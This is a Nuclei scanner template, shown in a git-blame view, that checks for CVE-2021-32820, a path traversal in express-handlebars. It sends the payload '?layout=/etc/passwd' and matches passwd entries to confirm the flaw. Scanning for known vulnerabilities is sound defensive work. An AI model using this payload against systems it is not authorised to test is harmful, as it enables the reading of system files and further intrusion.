nuclei-templates/cves/2021/CVE-2021-32820.yaml

30 lines
695 B
YAML
Raw Normal View History

2021-07-21 05:10:13 +00:00
id: CVE-2021-32820
info:
name: Express-handlebars Path Traversal
author: dhiyaneshDk
severity: medium
2021-07-22 11:02:37 +00:00
reference: |
- https://securitylab.github.com/advisories/GHSL-2021-018-express-handlebars/
- https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/CVE-2021-32820.json
tags: cve,cve2021,expressjs,lfi
2021-07-21 05:10:13 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/?layout=/etc/passwd"
2021-07-22 11:02:37 +00:00
2021-07-21 05:10:13 +00:00
matchers-condition: and
matchers:
- type: status
status:
- 200
2021-07-22 11:02:37 +00:00
2021-07-21 05:10:13 +00:00
- type: regex
regex:
2021-07-22 11:02:37 +00:00
- "root:[x*]:0:0:"
- "daemon:[x*]:0:0:"
- "operator:[x*]:0:0:"
2021-07-21 05:10:13 +00:00
part: body
2021-07-22 11:02:37 +00:00
condition: or